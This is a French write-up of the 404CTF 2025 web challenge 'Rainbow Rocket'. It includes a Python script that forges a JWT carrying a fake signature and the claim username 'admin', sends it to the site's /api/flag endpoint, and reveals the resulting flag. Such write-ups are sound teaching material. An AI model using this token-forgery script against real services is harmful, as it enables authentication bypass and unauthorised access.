Rainbow Rocket
Site web sécurisé par un token, c'est moins sûr...
Description du challenge
- Nom du CTF : 404CTF 2025
- Catégorie : Web
- Difficulté : Facile
- Date : Mai 2025
On nous donne le challenge suivant :
Direction le site Internet, il faut se créer un site Internet.
Après connexion, on arrive sur une page d'accueil avec la seule mention :
Vous devez être admin pour voir cette page
Mais on peut apprendre que le site stocke notre connexion dans un token JWT dans les cookies.
Le site fait d'ailleurs un appel à l'endpoint /api/verification
avec le token pour renvoyer le nom de l'utilisateur.
Le site appelle aussi l'endpoint /api/flag
pour récupérer le flag, mais je reçois un 403 Forbidden
car je ne suis pas admin.
Forge du token JWT
On peut donc essayer de forger un token JWT avec une fausse signature pour se faire passer pour un admin.
import requests
import base64
import json
url = "https://rainbow-rocket.404ctf.fr/api/flag"
def create_forged_token():
header = {
"alg": "RS256",
"typ": "JWT"
}
payload = {
"username": "admin"
}
def b64_encode(data):
encoded = base64.urlsafe_b64encode(json.dumps(data).encode()).decode()
return encoded.rstrip('=')
b64_header = b64_encode(header)
b64_payload = b64_encode(payload)
signature = "CTFREI"
token = f"{b64_header}.{b64_payload}.{signature}"
return token
forged_token = create_forged_token()
headers = {
"Authorization": f"Bearer {forged_token}"
}
try:
response = requests.get(url, headers=headers)
print(f"Status code: {response.status_code}")
print(f"Response: {response.text}")
except Exception as e:
print(f"Error: {e}")
Le token n'est pas vérifié côté serveur, on peut se faire passer pour un admin et récupérer le flag.
404CTF{decod3diSNOtVeRiFiED}